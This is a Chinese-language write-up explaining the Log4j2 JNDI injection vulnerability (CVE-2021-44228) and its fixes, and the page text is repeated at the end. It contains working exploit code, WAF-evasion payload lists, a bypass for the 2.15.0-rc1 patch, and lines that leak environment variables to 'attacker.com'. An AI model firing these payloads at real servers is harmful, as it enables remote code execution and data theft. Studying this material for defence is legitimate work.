深入学习 Log4j2 漏洞原理以及绕过手段
字数 1349 2025-08-12 11:34:13

Log4j2 漏洞原理与绕过手段深度解析

0x01 前言

Log4j2 漏洞(CVE-2021-44228)是近年来影响最大的安全漏洞之一。本文将从基础开发、漏洞原理、复现方法、调试分析和绕过手段等多个维度,深入剖析该漏洞的技术细节。

0x02 Log4j2 基础开发

环境配置

  • JDK 版本:8u65(高版本JDK也有绕过手段)
  • Log4j2 版本:2.14.1
  • Commons Collections:3.2.1(推荐)

基础Demo实现

<!-- pom.xml 依赖 -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>
<!-- log4j2.xml 配置文件 -->
<configuration status="info">
    <Properties>
        <Property name="pattern1">[%-5p] %d %c - %m%n</Property>
        <Property name="pattern2">日志级别:%p%n日志时间:%d%n所属类名:%c%n所属线程:%t%n日志信息:%m%n</Property>
        <Property name="filePath">logs/myLog.log</Property>
    </Properties>
    <appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="${pattern1}"/>
        </Console>
        <RollingFile name="RollingFile" fileName="${filePath}" 
            filePattern="logs/
$$
{date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
            <PatternLayout pattern="${pattern2}"/>
            <SizeBasedTriggeringPolicy size="5 MB"/>
        </RollingFile>
    </appenders>
    <loggers>
        <root level="info">
            <appender-ref ref="Console"/>
            <appender-ref ref="RollingFile"/>
        </root>
    </loggers>
</configuration>
// 基础使用示例
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2Test01 {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(Log4j2Test01.class);
        logger.trace("trace level");
        logger.debug("debug level");
        logger.info("info level");
        logger.warn("warn level");
        logger.error("error level");
        logger.fatal("fatal level");
    }
}

实际应用场景

// 实际应用示例
public class RealEnv {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(RealEnv.class);
        String username = "Drunkbaby";
        if (username != null) {
            logger.info("User {} login in!", username);
        } else {
            logger.error("User {} not exists", username);
        }
    }
}

0x03 漏洞分析

影响版本

2.x <= log4j <= 2.15.0-rc1

漏洞原理

当用户输入被直接记录到日志时,如果输入包含${}格式的表达式,Log4j2会执行其中的Lookup表达式。特别是JNDI Lookup功能,允许通过LDAP协议加载远程Java对象,导致RCE。

测试示例:

String username = "${java:os}";
logger.info("User {} login in!", username);
// 输出操作系统信息而非原始字符串

0x04 漏洞复现

基本EXP

public class log4j2EXP {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(log4j2EXP.class);
        String username = "${jndi:ldap://127.0.0.1:1234/ExportObject}";
        logger.info("User {} login in!", username);
    }
}

0x05 调试分析

关键调试点

  1. PatternLayout#toSerializable()方法下断点
  2. 关注MessagePatternConverter#format()方法
  3. 最终会调用StrSubstitutor#substitute()处理${}表达式

漏洞触发流程

  1. 检测字符串中是否存在${}
  2. 提取${}中的内容(如jndi:ldap://127.0.0.1:1389/Calc
  3. 使用:分割payload,根据前缀选择解析器
  4. 支持的Lookup前缀:date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
  5. 最终调用JndiLookup#lookup()方法,触发JNDI注入

0x06 WAF绕过技术

1. 利用分隔符和多个${}绕过

logger.info("${j${::-n}di:ldap://127.0.0.1:1389/Calc}");

2. 通过lower和upper绕过

logger.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logger.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");

3. 特殊字符大小写转换

logger.error("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}");

4. 常用绕过payload集合

${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject}
${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}
${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}
${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}

5. 信息泄露技巧

${jndi:ldap://${env:LOGNAME}.attacker.com}
${jndi:ldap://${sys:java.version}.attacker.com}

0x07 Log4j2 2.15.0修复与绕过

修复措施

  1. 默认禁用JNDI Lookup功能
  2. JndiManager#lookup()中添加限制:
    • 限制协议:只允许java, ldap, ldaps
    • 限制主机:默认只允许本地主机
    • javaSerializedData中的类名进行过滤
    • ReferencejavaFactory进行处理

绕过方法(需手动开启lookups)

<!-- log4j2.xml -->
<configuration status="OFF" monitorInterval="30">
    <appenders>
        <console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
            <PatternLayout pattern="%m{lookups}%n"/>
        </console>
    </appenders>
    <loggers>
        <root level="error">
            <appender-ref ref="CONSOLE-APPENDER"/>
        </root>
    </loggers>
</configuration>
// 绕过EXP(Windows不可用)
public class BypassRc1EXP {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(BypassRc1EXP.class);
        Configuration configuration = new DefaultConfiguration();
        MessagePatternConverter messagePatternConverter = 
            MessagePatternConverter.newInstance(configuration, new String[]{"lookups"});
        LogEvent logEvent = new MutableLogEvent(
            new StringBuilder("${jndi:ldap://127.0.0.1:1234/ ExportObject}"), null);
        messagePatternConverter.format(logEvent, 
            new StringBuilder("${jndi:ldap://127.0.0.1:1234/ ExportObject}"));
    }
}

关键点:通过在LDAP URL中添加空格触发异常处理流程绕过主机限制。

0x08 防御建议

  1. 升级到最新版本(2.17.0+)
  2. 设置log4j2.formatMsgNoLookups=true
  3. 移除JndiLookup
  4. 限制出站网络连接
  5. 使用WAF规则过滤${jndi:等关键字

0x09 参考资料

  1. Log4j2 RCE分析 - GM7
  2. Log4j2漏洞分析 - wjlshare
  3. Log4j2信息泄露技巧 - wjlshare
  4. Log4j2漏洞分析 - 先知社区
  5. Log4j2绕过分析 - 先知社区
  6. Google CTF 2022 Log4j Challenge Writeup
Log4j2 漏洞原理与绕过手段深度解析 0x01 前言 Log4j2 漏洞(CVE-2021-44228)是近年来影响最大的安全漏洞之一。本文将从基础开发、漏洞原理、复现方法、调试分析和绕过手段等多个维度,深入剖析该漏洞的技术细节。 0x02 Log4j2 基础开发 环境配置 JDK 版本:8u65(高版本JDK也有绕过手段) Log4j2 版本:2.14.1 Commons Collections:3.2.1(推荐) 基础Demo实现 实际应用场景 0x03 漏洞分析 影响版本 2.x <= log4j <= 2.15.0-rc1 漏洞原理 当用户输入被直接记录到日志时,如果输入包含 ${} 格式的表达式,Log4j2会执行其中的Lookup表达式。特别是JNDI Lookup功能,允许通过LDAP协议加载远程Java对象,导致RCE。 测试示例: 0x04 漏洞复现 基本EXP 0x05 调试分析 关键调试点 在 PatternLayout#toSerializable() 方法下断点 关注 MessagePatternConverter#format() 方法 最终会调用 StrSubstitutor#substitute() 处理 ${} 表达式 漏洞触发流程 检测字符串中是否存在 ${} 提取 ${} 中的内容(如 jndi:ldap://127.0.0.1:1389/Calc ) 使用 : 分割payload,根据前缀选择解析器 支持的Lookup前缀: date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j 最终调用 JndiLookup#lookup() 方法,触发JNDI注入 0x06 WAF绕过技术 1. 利用分隔符和多个${}绕过 2. 通过lower和upper绕过 3. 特殊字符大小写转换 4. 常用绕过payload集合 5. 信息泄露技巧 0x07 Log4j2 2.15.0修复与绕过 修复措施 默认禁用JNDI Lookup功能 在 JndiManager#lookup() 中添加限制: 限制协议:只允许 java, ldap, ldaps 限制主机:默认只允许本地主机 对 javaSerializedData 中的类名进行过滤 对 Reference 和 javaFactory 进行处理 绕过方法(需手动开启lookups) 关键点:通过在LDAP URL中添加空格触发异常处理流程绕过主机限制。 0x08 防御建议 升级到最新版本(2.17.0+) 设置 log4j2.formatMsgNoLookups=true 移除 JndiLookup 类 限制出站网络连接 使用WAF规则过滤 ${ 和 jndi: 等关键字 0x09 参考资料 Log4j2 RCE分析 - GM7 Log4j2漏洞分析 - wjlshare Log4j2信息泄露技巧 - wjlshare Log4j2漏洞分析 - 先知社区 Log4j2绕过分析 - 先知社区 Google CTF 2022 Log4j Challenge Writeup